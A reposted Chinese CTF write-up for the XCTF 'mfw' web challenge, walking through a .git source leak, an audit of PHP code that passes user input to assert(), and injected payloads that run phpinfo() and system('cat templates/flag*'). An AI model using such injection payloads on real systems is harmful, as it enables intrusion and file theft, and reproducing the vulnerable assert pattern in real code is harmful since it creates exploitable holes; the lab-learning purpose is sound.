文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

xctf攻防世界 Web高手进阶区 mfw

2023-09-08 21:19

关注

0x01. 进入环境,查看问题

题目给出的内容如图:
在这里插入图片描述
一通点击后,发现链接中出现page=***的字样,说明page传参是重点,是问题的突破口。

0x02. 问题分析

0x02_1. 使用dirsearch扫描看看

在这里插入图片描述
可以发现有很多.git文件,说明存在git泄露。。。

0x02_2. 使用githack拉下来源码

在这里,我们需要githack工具将代码拉下来,如图:
在这里插入图片描述

0x02_3. 代码审计

我们挑选重要代码,查看index.php,如下:

if (isset($_GET['page'])) {$page = $_GET['page'];} else {$page = "home";}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look niceassert("file_exists('$file')") or die("That file doesn't exist!");?>

可以看到,使用page传递参数,接着使用file进行拼接,最后使用assert断言进行执行相关程序。
在这里,我们需要熟悉几个函数。

strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
语法:strpos(string,find,start)
参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。

file_exists() 函数检查文件或目录是否存在
如果指定的文件或目录存在则返回 true,否则返回 false。

PHP5: assert ( mixed $assertion [, string $description ] ) : bool
PHP7: assert ( mixed $assertion [, Throwable $exception ] ) : bool
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动

在这里,如果assertion是字符串,他会被assert()当做php代码执行。 思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。

0x02_4. 构造payload

我们尝试使用:

page=') or phpinfo();//

发现直接回显内容如图:
在这里插入图片描述
因为file有构造templates,猜测flag可能位于templates目录下,我们继续构造payload,如下:

page=') or system("cat templates/flag*");//

回显无内容,实际上是被注释了,我们F12查看控制台回显,如图:
在这里插入图片描述

0x03. 构造原理

来源地址:https://blog.csdn.net/l8947943/article/details/126280784

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯